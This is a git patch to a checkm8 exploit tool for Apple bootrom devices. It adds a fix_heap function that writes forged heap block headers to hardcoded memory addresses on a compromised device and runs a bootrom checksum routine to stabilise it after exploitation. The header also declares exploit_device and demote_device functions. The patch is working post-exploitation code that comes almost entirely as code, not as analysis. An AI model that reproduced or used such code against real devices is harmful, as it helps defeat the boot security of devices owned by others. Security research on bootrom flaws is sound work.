From 3e64bd8babe0f3ae4af100affce60e116949e494 Mon Sep 17 00:00:00 2001
From: Gregor Haas <gregorhaas1997@gmail.com>
Date: Tue, 11 Feb 2020 20:51:50 -0500
Subject: [PATCH] added a function to fix the heap

---
 c8_remote/include/checkm8.h |  1 +
 c8_remote/src/exploit.c     | 28 ++++++++++++++++++++++++++++
 2 files changed, 29 insertions(+)

diff --git a/c8_remote/include/checkm8.h b/c8_remote/include/checkm8.h
index 70727d0..7e69b24 100644
--- a/c8_remote/include/checkm8.h
+++ b/c8_remote/include/checkm8.h
@@ -48,6 +48,7 @@ struct pwned_device
 
 struct pwned_device *exploit_device();
 int demote_device(struct pwned_device *dev);
+int fix_heap(struct pwned_device *dev);
 void free_device(struct pwned_device *dev);
 
 #endif //CHECKM8_TOOL_CHECKM8_H
diff --git a/c8_remote/src/exploit.c b/c8_remote/src/exploit.c
index cf2350d..90ebe42 100644
--- a/c8_remote/src/exploit.c
+++ b/c8_remote/src/exploit.c
@@ -7,6 +7,7 @@
 
 #include "usb_helpers.h"
 #include "command.h"
+#include "bootrom_addr.h"
 
 static unsigned char data_0xA_0xC0_buf[192] =
         {
@@ -381,6 +382,33 @@ int demote_device(struct pwned_device *dev)
     return retval;
 }
 
+int fix_heap(struct pwned_device *dev)
+{
+    checkm8_debug_indent("fix_heap(dev = %p)\n", dev);
+#if CHECKM8_PLATFORM == 8010
+    unsigned long long block1_data[4] = {0x80 / 0x40, ((0x840u / 0x40) << 2u), 0x80, 0};
+    unsigned long long block2_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
+    unsigned long long block3_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
+
+    unsigned long long calc1_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9180, 0x1801b91a0, 32, 0x180080640};
+    unsigned long long calc2_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9200, 0x1801b9220, 32, 0x180080640};
+    unsigned long long calc3_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9280, 0x1801b92a0, 32, 0x180080640};
+
+    dev_write_memory(dev, 0x1801b91a0, (unsigned char *) block1_data, 64);
+    dev_write_memory(dev, 0x1801b9220, (unsigned char *) block2_data, 64);
+    dev_write_memory(dev, 0x1801b92a0, (unsigned char *) block3_data, 64);
+
+    dev_exec(dev, 0, 5, calc1_args);
+    dev_exec(dev, 0, 5, calc2_args);
+    dev_exec(dev, 0, 5, calc3_args);
+
+#else
+#error "Can't fix heap for unknown platform"
+#endif
+
+    return CHECKM8_SUCCESS;
+}
+
 void free_device(struct pwned_device *dev)
 {
     checkm8_debug_indent("free_device(dev = %p)\n", dev);